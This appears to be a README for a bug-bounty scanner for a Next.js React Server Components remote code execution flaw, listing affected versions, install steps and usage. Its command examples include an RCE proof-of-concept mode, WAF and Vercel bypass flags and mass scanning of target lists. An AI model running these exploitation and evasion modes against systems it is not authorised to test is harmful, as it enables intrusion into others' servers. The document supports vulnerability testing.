iamblacksolo2-bugbounty/poc2-cve-2025-55182Multi-mode vulnerability scanner for Next.js RCE (CVE-2025-66478/55182) with safe side-channel detection, RCE proof-of-concept, WAF bypass techniques, and local project dependency scanning.
The most comprehensive scanner for Next.js RSC Remote Code Execution vulnerability
╔════════════════════════════════════════════════════════════════════════╗
║ ____ _ ___ ____ _ _ _ ║
║ | _ \ ___ __ _ ___| |_|__ \/ ___|| |__ ___| | | ║
║ | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | | ║
║ | _ < __/ (_| | (__| |_ / /_ ___) | | | | __/ | | ║
║ |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_| ║
║ ║
║ React2Shell Ultimate CVE-2025-66478 Scanner v1.0.0 ║
║ Next.js RSC Remote Code Execution Vulnerability ║
╠════════════════════════════════════════════════════════════════════════╣
║ ║
║ ║
╠════════════════════════════════════════════════════════════════════════╣
║ Modes: --safe (side-channel) | --rce (PoC) | --version | --local ║
║ WAF Bypass: --waf-bypass | --vercel-bypass | --unicode ║
╚════════════════════════════════════════════════════════════════════════╝
CVE-2025-66478 (also known as CVE-2025-55182) is a CRITICAL (CVSS 10.0) Remote Code Execution vulnerability affecting Next.js applications using React Server Components (RSC).
| Version Range | Status |
|---|---|
| Next.js 15.0.0 - 15.0.4 | ⚠️ Vulnerable |
| Next.js 15.1.0 - 15.1.8 | ⚠️ Vulnerable |
| Next.js 15.2.0 - 15.2.5 | ⚠️ Vulnerable |
| Next.js 15.3.0 - 15.3.5 | ⚠️ Vulnerable |
| Next.js 15.4.0 - 15.4.7 | ⚠️ Vulnerable |
| Next.js 15.5.0 - 15.5.6 | ⚠️ Vulnerable |
| Next.js 16.0.0 - 16.0.6 | ⚠️ Vulnerable |
| Next.js 14.3.0-canary.77+ | ⚠️ Vulnerable |
| Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ | ✅ Patched |
| Next.js 16.0.7+ | ✅ Patched |
| Next.js 13.x, 14.x stable | ✅ Not Affected |
This tool combines the best features from multiple CVE-2025-66478 scanners:
| Feature | Description |
|---|---|
| 🔍 Multi-Mode Detection | Safe side-channel, RCE PoC, version-only, local scanning |
| 🛡️ WAF Bypass Techniques | Junk data padding, Unicode encoding, Vercel-specific bypass |
| 📁 Local Project Scanning | Scan package.json, lockfiles for vulnerable dependencies |
| ⚡ High Performance | Multi-threaded scanning with configurable concurrency |
| 📊 Multiple Output Formats | Console, JSON, file export |
| 🎯 Accurate Version Detection | HTTP headers, RSC fingerprinting, patched version awareness |
# Clone the repository
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate
# Install dependencies
pip install -r requirements.txt
# Or install manually
pip install requests tqdm
# Version detection only (fastest, no exploitation)
python3 react2shell-ultimate.py -u https://target.com --version
# Safe side-channel detection (no code execution)
python3 react2shell-ultimate.py -u https://target.com --safe
# RCE proof-of-concept (executes harmless calculation: 41*271=11111)
python3 react2shell-ultimate.py -u https://target.com --rce
# Comprehensive scan with all bypass attempts
python3 react2shell-ultimate.py -u https://target.com --comprehensive
# Scan multiple targets from file
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json
# Quiet mode - only show vulnerable hosts
python3 react2shell-ultimate.py -l targets.txt -q
# JSON output to stdout
python3 react2shell-ultimate.py -l targets.txt --json
# Scan current directory
python3 react2shell-ultimate.py --local .
# Scan specific project path
python3 react2shell-ultimate.py --local /path/to/nextjs/projects
# Junk data bypass (adds 128KB padding to evade content inspection)
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass
# Custom junk data size
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256
# Unicode encoding bypass
python3 react2shell-ultimate.py -u https://target.com --rce --unicode
# Vercel-specific WAF bypass
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass
# Windows target (PowerShell payload)
python3 react2shell-ultimate.py -u https://target.com --rce --windows
# With proxy
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080
# Custom headers
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"
# Increased timeout
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30
# Verbose output
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v
| Option | Description |
|---|---|
-u, --url | Single URL to scan |
-l, --list | File containing URLs (one per line) |
--local | Scan local project directory |
--safe | Safe side-channel detection (no RCE) |
--rce | RCE proof-of-concept mode |
--version | Version detection only |
--comprehensive | Full scan with all techniques |
--waf-bypass | Add junk data for WAF bypass |
--waf-bypass-size | Junk data size in KB (default: 128) |
--unicode | Unicode encoding for WAF bypass |
--vercel-bypass | Vercel-specific WAF bypass |
--windows | Use Windows PowerShell payload |
-t, --threads | Concurrent threads (default: 10) |
--timeout | Request timeout in seconds (default: 10) |
-k, --insecure | Disable SSL verification |
--proxy | Proxy URL (http://host:port) |
-H, --header | Custom header (repeatable) |
-o, --output | Output file (JSON) |
--all-results | Save all results, not just vulnerable |
-v, --verbose | Verbose output |
-q, --quiet | Only show vulnerable hosts |
--json | JSON output to stdout |
--no-color | Disable colored output |
--safe)Triggers a specific error response pattern without executing any code. Identifies vulnerable RSC implementations through error handling behavior.
--rce)Executes a harmless mathematical calculation (echo $((41*271)) = 11111) to confirm RCE capability. The result appears in the X-Action-Redirect header.
--version)X-Powered-By header for Next.js versionVary header for RSC indicatorstext/x-component responses--local)Scans project directories for:
package.json - Direct dependency declarationpackage-lock.json - NPM lockfileyarn.lock - Yarn lockfilepnpm-lock.yaml - PNPM lockfilebun.lockb - Bun lockfile